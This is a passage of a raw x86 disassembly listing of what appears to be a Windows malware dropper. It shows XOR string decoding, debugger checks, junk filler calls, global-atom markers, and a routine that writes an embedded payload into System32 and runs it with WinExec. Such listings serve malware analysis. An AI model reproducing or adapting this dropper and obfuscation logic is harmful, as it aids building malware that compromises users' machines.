		jnz	short loc_40313A
		mov	edx, eax
		sub	edx, 3
		cmp	byte ptr [edx],	0
		jnz	short loc_40313A
		mov	edx, eax
		sub	edx, 4
		cmp	byte ptr [edx],	0
		jnz	short loc_40313A
		sub	eax, 5
		cmp	byte ptr [eax],	0
		jz	short loc_403144

loc_40313A:				; CODE XREF: sub_402A4D+6C5j
					; sub_402A4D+6CFj ...
		call	sub_40C598	; GetTickCount
		dec	[ebp+var_4]
		jmp	short loc_403109
; ---------------------------------------------------------------------------

loc_403144:				; CODE XREF: sub_402A4D+6EBj
		movzx	edi, byte ptr [ebp+var_216C+3]
		shl	edi, 2
		mov	esi, [ebp+var_4]
		mov	[ebp+edi+var_2570], esi
		add	byte ptr [ebp+var_216C+3], 1
		movzx	eax, byte ptr [esi]
		cmp	eax, 0E9h
		jnz	short loc_4031A3
		lea	edi, [ebp+var_2573]
		lea	esi, byte_43C13F
		mov	ecx, 3
		rep movsb
		mov	eax, [ebp+var_4]
		mov	edx, ds:1[eax]
		sub	edx, 0FFFFFFFFh
		lea	eax, [edx+eax+4]
		mov	[ebp+var_2024],	eax
		mov	eax, dword_43C142
		mov	[ebp+var_2578+1], eax
		jmp	loc_4030F9
; ---------------------------------------------------------------------------

loc_4031A3:				; CODE XREF: sub_402A4D+71Aj
		mov	ebx, [ebp+var_4]
		jmp	short loc_4031CB
; ---------------------------------------------------------------------------

loc_4031A8:				; CODE XREF: sub_402A4D+784j
		lea	edi, [ebp+var_2578+1]
		lea	esi, aLvdw_x	; "LVDW.X"
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+var_1014]
		add	eax, ebx
		sub	eax, [ebp+var_4]
		mov	dl, [ebx]
		mov	[eax], dl
		inc	ebx

loc_4031CB:				; CODE XREF: sub_402A4D+759j
		cmp	ebx, [ebp+var_2024]
		jb	short loc_4031A8

loc_4031D3:				; CODE XREF: sub_402A4D+7EDj
		sub	byte ptr [ebp+var_216C+3], 1
		movzx	edi, byte ptr [ebp+var_216C+3]
		shl	edi, 2
		mov	ebx, [ebp+edi+var_2570]

loc_4031EB:				; CODE XREF: sub_402A4D+7E2j
		mov	byte ptr [ebx],	0
		cmp	byte ptr ds:1[ebx], 0
		jnz	short loc_403220
		cmp	byte ptr ds:2[ebx], 0
		jnz	short loc_403220
		cmp	byte ptr ds:3[ebx], 0
		jnz	short loc_403220
		cmp	byte ptr ds:4[ebx], 0
		jnz	short loc_403220
		cmp	byte ptr ds:5[ebx], 0
		jz	short loc_403231

loc_403220:				; CODE XREF: sub_402A4D+7A9j
					; sub_402A4D+7B3j ...
		mov	byte ptr [ebp+var_2172+1], 14h
		sub	byte ptr [ebp+var_2172+1], 0Eh
		inc	ebx
		jmp	short loc_4031EB
; ---------------------------------------------------------------------------

loc_403231:				; CODE XREF: sub_402A4D+7D1j
		movzx	eax, byte ptr [ebp+var_216C+3]
		or	eax, eax
		jg	short loc_4031D3
		call	sub_40C538	; RtlGetLastWin32Error
		cmp	[ebp+arg_0], 1
		jz	short loc_40326D
		call	sub_40C5A4	; GetVersion

loc_40324C:				; CODE XREF: sub_402A4D+622j
					; sub_402A4D+65Ej
		movzx	eax, [ebp+var_1015]
		push	eax
		push	[ebp+var_202C]
		push	[ebp+var_2034]
		call	sub_4028A6
		add	esp, 0Ch
		call	sub_40C538	; RtlGetLastWin32Error

loc_40326D:				; CODE XREF: sub_402A4D+613j
					; sub_402A4D+672j ...
		cmp	[ebp+var_2025],	0
		jz	short loc_4032C3
		mov	eax, dword_43C14D
		mov	[ebp+var_216C],	eax
		and	[ebp+var_1014],	0

loc_403288:				; CODE XREF: sub_402A4D+86Aj
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+var_8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		mov	edx, [ebp+edi+var_2020]
		mov	[esi+edi], edx
		inc	[ebp+var_1014]
		cmp	[ebp+var_1014],	400h
		jb	short loc_403288
		call	sub_40C574	; GetProcessHeap
		jmp	loc_402CE7
; ---------------------------------------------------------------------------

loc_4032C3:				; CODE XREF: sub_402A4D+136j
					; sub_402A4D+3AEj ...
		add	[ebp+var_1015],	1
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	off_43BE84[edi], 0
		jnz	loc_402B71
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402A4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032E7	proc near		; CODE XREF: sub_403449+50p
					; sub_4034D8+46p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C15C
		lea	eax, ds:41C960h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	[ebp+var_4], 314h
		xor	edi, edi
		jmp	short loc_40332D
; ---------------------------------------------------------------------------

loc_403316:				; CODE XREF: sub_4032E7+48j
		mov	eax, dword_43C15C
		add	eax, edi
		lea	eax, ds:41C960h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 2Ah
		mov	[eax], dl
		inc	edi

loc_40332D:				; CODE XREF: sub_4032E7+2Dj
		cmp	edi, esi
		jl	short loc_403316
		mov	[ebp+var_8], 1B1h
		mov	eax, dword_43C15C
		add	eax, esi
		mov	byte ptr ds:dword_41C960[eax], 0
		xor	edi, edi
		mov	edi, dword_43C15C
		add	dword_43C15C, 3
		mov	eax, dword_43C15C
		lea	eax, [eax+esi+1]
		mov	dword_43C15C, eax
		cmp	eax, 0DC8h
		jle	short loc_403372
		and	dword_43C15C, 0

loc_403372:				; CODE XREF: sub_4032E7+82j
		mov	[ebp+var_C], 2D9h
		lea	eax, dword_41C960[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4032E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403383	proc near		; CODE XREF: sub_403449+31p
					; sub_4034D8+35p

var_F		= byte ptr -0Fh
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		lea	edi, [ebp+var_B]
		lea	esi, dword_43C160
		mov	ecx, 5
		rep movsb
		call	sub_40C538	; RtlGetLastWin32Error
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh

loc_4033A9:				; CODE XREF: sub_403383+2Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4033A9
		mov	edi, eax
		mov	[ebp+var_6], di
		call	sub_40C538	; RtlGetLastWin32Error
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_4033FA
; ---------------------------------------------------------------------------

loc_4033C5:				; CODE XREF: sub_403383+7Dj
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [ebx+eax], 5Ch
		jnz	short loc_4033F6
		lea	edi, [ebp+var_F]
		lea	esi, byte_43C165
		mov	ecx, 3
		rep movsb
		inc	[ebp+var_2]
		mov	[ebp+var_C], 8Dh
		movzx	eax, [ebp+var_C]
		imul	eax, 3989h
		mov	[ebp+var_C], al
		jmp	short loc_403402
; ---------------------------------------------------------------------------

loc_4033F6:				; CODE XREF: sub_403383+4Aj
		dec	[ebp+var_2]

loc_4033FA:				; CODE XREF: sub_403383+40j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_4033C5

loc_403402:				; CODE XREF: sub_403383+71j
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_40343F
		mov	[ebp+var_4], 0
		jmp	short loc_40342D
; ---------------------------------------------------------------------------

loc_403414:				; CODE XREF: sub_403383+BAj
		movzx	eax, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		movzx	ecx, [ebp+var_2]
		mov	esi, eax
		add	esi, ecx
		mov	cl, [ebx+esi]
		mov	[edx+eax], cl
		inc	[ebp+var_4]

loc_40342D:				; CODE XREF: sub_403383+8Fj
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_403414

loc_40343F:				; CODE XREF: sub_403383+87j
		call	sub_40C508	; GetCurrentProcessId
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403383	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403449	proc near		; CODE XREF: sub_403AA3+ACp
					; sub_403C5F+286p ...

var_10F		= byte ptr -10Fh
var_10A		= dword	ptr -10Ah
var_106		= byte ptr -106h
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	ebx
		push	esi
		push	edi
		call	sub_40C5A4	; GetVersion
		mov	eax, dword_43C168
		mov	[ebp+var_10A], eax
		mov	ebx, 63Dh
		sub	ebx, 6B35h
		lea	eax, [ebp+var_106]
		push	eax
		push	[ebp+arg_0]
		call	sub_403383
		lea	edi, [ebp+var_10F]
		lea	esi, aOqd	; " OQD"
		mov	ecx, 5
		rep movsb
		push	2
		push	offset word_446666
		call	sub_4032E7
		push	eax
		lea	edi, [ebp+var_106]
		push	edi
		call	sub_40CA54
		add	esp, 18h
		call	sub_40C5A4	; GetVersion
		lea	eax, [ebp+var_106]
		push	eax
		call	sub_40C5D4	; GlobalAddAtomA
		mov	[ebp+var_2], 4353h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403449	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034D8	proc near		; CODE XREF: sub_409847+2F3p
					; sub_409847+387p ...

var_10D		= byte ptr -10Dh
var_10A		= word ptr -10Ah
var_108		= word ptr -108h
var_105		= byte ptr -105h
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	esi
		push	edi
		mov	[ebp+var_1], 0C0h
		sub	[ebp+var_1], 0C7h
		lea	edi, [ebp+var_10D]
		lea	esi, aR6	; "R6"
		mov	ecx, 3
		rep movsb
		call	sub_40C574	; GetProcessHeap
		lea	eax, [ebp+var_105]
		push	eax
		push	[ebp+arg_0]
		call	sub_403383
		call	sub_40C598	; GetTickCount
		push	2
		push	offset word_446666
		call	sub_4032E7
		push	eax
		lea	edi, [ebp+var_105]
		push	edi
		call	sub_40CA54
		add	esp, 18h
		mov	[ebp+var_108], 1D40h
		add	[ebp+var_108], 6FD4h

loc_403545:				; CODE XREF: sub_4034D8+9Ej
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_40C5EC	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp+var_10A], di
		cmp	[ebp+var_10A], 0
		jz	short loc_403578
		movzx	eax, [ebp+var_10A]
		push	eax
		call	sub_40C5E0	; GlobalDeleteAtom
		call	sub_40C598	; GetTickCount
		jmp	short loc_403545
; ---------------------------------------------------------------------------

loc_403578:				; CODE XREF: sub_4034D8+8Aj
		pop	edi
		pop	esi
		leave
		retn
sub_4034D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40357C	proc near		; CODE XREF: sub_403610+A1p
					; sub_4036F2+37p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 1D8h
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C17C
		lea	eax, ds:40E110h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4035C1
; ---------------------------------------------------------------------------

loc_4035AA:				; CODE XREF: sub_40357C+47j
		mov	eax, dword_43C17C
		add	eax, edi
		lea	eax, ds:40E110h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 4Eh
		mov	[eax], dl
		inc	edi

loc_4035C1:				; CODE XREF: sub_40357C+2Cj
		cmp	edi, esi
		jl	short loc_4035AA
		mov	[ebp+var_8], 1C3h
		mov	eax, dword_43C17C
		add	eax, esi
		mov	byte ptr ds:dword_40E110[eax], 0
		mov	edi, dword_43C17C
		mov	eax, edi
		add	eax, 2
		add	eax, esi
		mov	dword_43C17C, eax
		inc	dword_43C17C
		cmp	dword_43C17C, 0E02h
		jle	short loc_403606
		and	dword_43C17C, 0

loc_403606:				; CODE XREF: sub_40357C+81j
		lea	eax, dword_40E110[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40357C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403610	proc near		; CODE XREF: sub_4036F2+44p

var_3A		= word ptr -3Ah
var_38		= word ptr -38h
var_35		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_38], 579Dh
		add	[ebp+var_38], 917h
		mov	ax, word_43C180
		mov	[ebp+var_3A], ax
		mov	esi, 2C6Bh
		mov	eax, esi
		add	eax, esi
		mov	esi, eax
		mov	eax, 0Dh
		sub	eax, dword_43C178
		push	eax
		lea	eax, [ebp+var_35]
		push	eax
		push	[ebp+arg_0]
		call	sub_40C9A0
		add	esp, 0Ch
		call	sub_40C514	; GetCurrentThreadId
		lea	ecx, [ebp+var_35]
		or	eax, 0FFFFFFFFh

loc_403663:				; CODE XREF: sub_403610+58j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_403663
		mov	ebx, eax
		mov	[ebp+var_2], bl
		call	sub_40C538	; RtlGetLastWin32Error
		mov	[ebp+var_1], 0
		jmp	short loc_403690
; ---------------------------------------------------------------------------

loc_40367A:				; CODE XREF: sub_403610+8Aj
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+var_35]
		mov	[edi+edx], al
		add	[ebp+var_1], 1

loc_403690:				; CODE XREF: sub_403610+68j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_40367A
		movzx	eax, [ebp+var_2]
		mov	byte ptr [edi+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_4036C4
; ---------------------------------------------------------------------------

loc_4036AA:				; CODE XREF: sub_403610+C5j
		push	1
		push	offset byte_446664
		call	sub_40357C
		push	eax
		push	edi
		call	sub_40CA54
		add	esp, 10h
		add	[ebp+var_3], 1

loc_4036C4:				; CODE XREF: sub_403610+98j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jl	short loc_4036AA
		call	sub_40C5A4	; GetVersion
		push	[ebp+arg_8]
		push	edi
		call	sub_40CA54
		add	esp, 8
		call	sub_40C538	; RtlGetLastWin32Error
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403610	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036F2	proc near		; CODE XREF: sub_40A766+671p

var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		call	sub_40C634	; IsDebuggerPresent
		lea	edi, [ebp+var_35]
		lea	esi, word_43C182
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	[ebp+var_2], 891h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		push	1
		push	offset word_446662
		call	sub_40357C
		push	eax
		lea	edi, [ebp+var_34]
		push	edi
		push	[ebp+arg_0]
		call	sub_403610
		add	esp, 14h
		call	sub_40C508	; GetCurrentProcessId
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_40C5D4	; GlobalAddAtomA
		mov	ebx, 3324h
		sub	ebx, 3885h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40375C	proc near		; CODE XREF: sub_4037EF+47p
					; .text:004038C7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 6Ch
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C18C
		lea	eax, ds:40F780h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4037A1
; ---------------------------------------------------------------------------

loc_40378A:				; CODE XREF: sub_40375C+47j
		mov	eax, dword_43C18C
		add	eax, edi
		lea	eax, ds:40F780h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 7
		mov	[eax], dl
		inc	edi

loc_4037A1:				; CODE XREF: sub_40375C+2Cj
		cmp	edi, esi
		jl	short loc_40378A
		mov	eax, dword_43C18C
		add	eax, esi
		mov	byte ptr ds:dword_40F780[eax], 0
		xor	edi, edi
		mov	edi, dword_43C18C
		inc	dword_43C18C
		mov	eax, dword_43C18C
		lea	eax, [eax+esi+6]
		mov	dword_43C18C, eax
		cmp	eax, 0DE8h
		jle	short loc_4037DE
		and	dword_43C18C, 0

loc_4037DE:				; CODE XREF: sub_40375C+79j
		mov	[ebp+var_8], 0FFh
		lea	eax, dword_40F780[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40375C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037EF	proc near		; CODE XREF: sub_40A766+719p
					; sub_40A766+74Fp

var_10A		= word ptr -10Ah
var_108		= byte ptr -108h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C514	; GetCurrentThreadId
		lea	edi, [ebp+var_108]
		lea	esi, byte_43C190
		mov	ecx, 3
		rep movsb
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CA30
		mov	ax, word_43C193
		mov	[ebp+var_10A], ax
		push	1
		push	offset asc_446660 ; "$"
		call	sub_40375C
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CA54
		mov	ebx, 20A5h
		sub	ebx, 7EDBh
		push	[ebp+arg_4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CA54
		add	esp, 20h
		call	sub_40C508	; GetCurrentProcessId
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C5D4	; GlobalAddAtomA
		mov	[ebp+var_105], 4Eh
		add	[ebp+var_105], 55h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4037EF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	esi
		push	edi
		call	sub_40C574	; GetProcessHeap
		lea	edi, [ebp-10Bh]
		lea	esi, aH8me	; "H8mE"
		mov	ecx, 5
		rep movsb
		call	sub_40C598	; GetTickCount
		push	dword ptr [ebp+8]
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40CA30
		push	1
		push	offset asc_446660 ; "$"
		call	sub_40375C
		push	eax
		lea	edi, [ebp-104h]
		push	edi
		call	sub_40CA54
		call	sub_40C634	; IsDebuggerPresent
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40CA54
		add	esp, 20h
		call	sub_40C5A4	; GetVersion

loc_4038F5:				; CODE XREF: .text:00403930j
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40C5EC	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp-106h], di
		call	sub_40C514	; GetCurrentThreadId
		cmp	word ptr [ebp-106h], 0
		jz	short loc_403932
		call	sub_40C508	; GetCurrentProcessId
		movzx	eax, word ptr [ebp-106h]
		push	eax
		call	sub_40C5E0	; GlobalDeleteAtom
		call	sub_40C514	; GetCurrentThreadId
		jmp	short loc_4038F5
; ---------------------------------------------------------------------------

loc_403932:				; CODE XREF: .text:00403917j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403936	proc near		; CODE XREF: sub_4039D6+8Bp
					; sub_403AA3+73p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 20Eh
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C1A4
		lea	eax, ds:41DA90h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	[ebp+var_8], 331h
		xor	edi, edi
		jmp	short loc_403985
; ---------------------------------------------------------------------------

loc_40396B:				; CODE XREF: sub_403936+51j
		mov	eax, dword_43C1A4
		add	eax, edi
		lea	eax, ds:41DA90h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 8Fh
		mov	[eax], dl
		inc	edi

loc_403985:				; CODE XREF: sub_403936+33j
		cmp	edi, esi
		jl	short loc_40396B
		mov	eax, dword_43C1A4
		add	eax, esi
		mov	byte ptr ds:dword_41DA90[eax], 0
		mov	edi, dword_43C1A4
		inc	dword_43C1A4
		mov	eax, dword_43C1A4
		lea	eax, [eax+esi+6]
		mov	dword_43C1A4, eax
		add	dword_43C1A4, 2
		cmp	dword_43C1A4, 0DFDh
		jle	short loc_4039CC
		and	dword_43C1A4, 0

loc_4039CC:				; CODE XREF: sub_403936+8Dj
		lea	eax, dword_41DA90[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_403936	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D6	proc near		; CODE XREF: sub_403AA3+49p
					; sub_403C5F+155p ...

var_1013	= byte ptr -1013h
var_100B	= byte ptr -100Bh
var_1008	= dword	ptr -1008h
var_1003	= byte ptr -1003h
var_1000	= byte ptr -1000h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1014h
		call	sub_40C498
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C508	; GetCurrentProcessId
		lea	edi, [ebp+var_100B]
		lea	esi, word_4411CA
		mov	ecx, 3
		rep movsb
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_40C580	; GetSystemDirectoryA
		mov	[ebp+var_1000],	0
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_40C5BC	; GetVolumeInformationA
		lea	edi, [ebp+var_1013]
		lea	esi, aK0iJ	; " K0i=J "
		movsd
		movsd
		push	4
		push	offset aK	; "����"
		call	sub_403936
		push	[ebp+var_1008]
		push	eax
		push	ebx
		call	sub_40CA30
		add	esp, 14h
		and	[ebp+var_4], 0

loc_403A7A:				; CODE XREF: sub_4039D6+C1j
		mov	eax, [ebp+var_4]
		mov	al, [ebx+eax]
		cmp	al, 41h
		jge	short loc_403A90
		cmp	al, 30h
		jle	short loc_403A90
		mov	eax, [ebp+var_4]
		add	eax, ebx
		add	byte ptr [eax],	11h

loc_403A90:				; CODE XREF: sub_4039D6+ACj
					; sub_4039D6+B0j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 8
		jb	short loc_403A7A
		call	sub_40C5A4	; GetVersion
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4039D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403AA3	proc near		; CODE XREF: sub_40A766+7E8p

var_290		= dword	ptr -290h
var_28A		= byte ptr -28Ah
var_283		= byte ptr -283h
var_280		= byte ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= byte ptr -278h
var_275		= byte ptr -275h
var_26F		= byte ptr -26Fh
var_16B		= byte ptr -16Bh
var_107		= byte ptr -107h
var_106		= word ptr -106h
var_104		= word ptr -104h
var_102		= word ptr -102h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 290h
		push	ebx
		push	esi
		push	edi
		call	sub_40C508	; GetCurrentProcessId
		lea	edi, [ebp+var_275]
		lea	esi, aKg7x_	; "kg7x_"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_104], 63FCh
		movzx	eax, [ebp+var_104]
		imul	eax, 3246h
		mov	[ebp+var_104], ax
		lea	eax, [ebp+var_16B]
		push	eax
		call	sub_4039D6
		lea	edi, [ebp+var_278]
		lea	esi, aOw	; "oW"
		mov	ecx, 3
		rep movsb
		mov	eax, dword_4411DE
		mov	[ebp+var_27C], eax
		push	9
		push	offset byte_446651
		call	sub_403936
		lea	edi, [ebp+var_16B]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CA30
		mov	ebx, 3DFBh
		mov	eax, 1040h
		mul	ebx
		mov	[ebp+var_290], eax
		mov	ebx, eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_403449
		mov	[ebp+var_102], 0F5Dh
		movzx	eax, [ebp+var_102]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_102], ax
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C67C	; CreateFileA
		mov	ebx, eax
		mov	[ebp+var_106], 10FCh
		add	[ebp+var_106], 4EDCh
		push	0
		lea	eax, [ebp+var_280]
		push	eax
		push	3621h
		push	offset byte_43DBA9
		push	ebx
		call	sub_40C730	; WriteFile
		push	ebx
		call	sub_40C55C	; CloseHandle
		mov	ebx, 0CDFh
		add	ebx, 10D0h
		lea	edi, [ebp+var_283]
		lea	esi, word_4411E2
		mov	ecx, 3
		rep movsb
		push	104h
		lea	eax, [ebp+var_26F]
		push	eax
		push	0
		call	sub_40C544	; GetModuleFileNameA
		push	1
		push	offset byte_44664F
		call	sub_403936
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CA54
		lea	edi, [ebp+var_28A]
		lea	esi, aVR	; "|+V|;R"
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+var_26F]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40CA54
		add	esp, 38h
		push	0
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C724	; WinExec
		mov	[ebp+var_107], 0F3h
		movzx	eax, [ebp+var_107]
		imul	eax, 6754h
		mov	[ebp+var_107], al
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403AA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C5F	proc near		; CODE XREF: sub_40A766+2E7p

var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_2FF		= byte ptr -2FFh
var_2FC		= byte ptr -2FCh
var_2F5		= byte ptr -2F5h
var_2F4		= byte ptr -2F4h
var_2F1		= byte ptr -2F1h
var_2E9		= byte ptr -2E9h
var_2E3		= byte ptr -2E3h
var_2DE		= byte ptr -2DEh
var_278		= dword	ptr -278h
var_271		= byte ptr -271h
var_270		= dword	ptr -270h
var_26C		= word ptr -26Ch
var_26A		= byte ptr -26Ah
var_269		= byte ptr -269h
var_205		= byte ptr -205h
var_101		= byte ptr -101h
var_FB		= byte ptr -0FBh
var_FA		= byte ptr -0FAh
var_F9		= byte ptr -0F9h
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		push	ebx
		push	esi
		push	edi
		call	sub_40C634	; IsDebuggerPresent
		lea	edi, [ebp+var_2E3]
		lea	esi, aN4U	; "N4/u"
		mov	ecx, 5
		rep movsb
		mov	[ebp+var_26A], 0C4h
		movzx	eax, [ebp+var_26A]
		imul	eax, 0CACh
		mov	[ebp+var_26A], al
		push	26h
		push	offset dword_446628
		call	sub_403936
		mov	[ebp+var_304], eax
		call	sub_40CA18
		mov	[ebp+var_308], eax
		call	sub_40CA18
		mov	[ebp+var_30C], eax
		call	sub_40CA18
		mov	[ebp+var_310], eax
		call	sub_40CA18
		mov	[ebp+var_314], eax
		call	sub_40CA18
		mov	[ebp+var_318], eax
		call	sub_40CA18
		mov	[ebp+var_31C], eax
		call	sub_40CA18
		mov	[ebp+var_320], eax
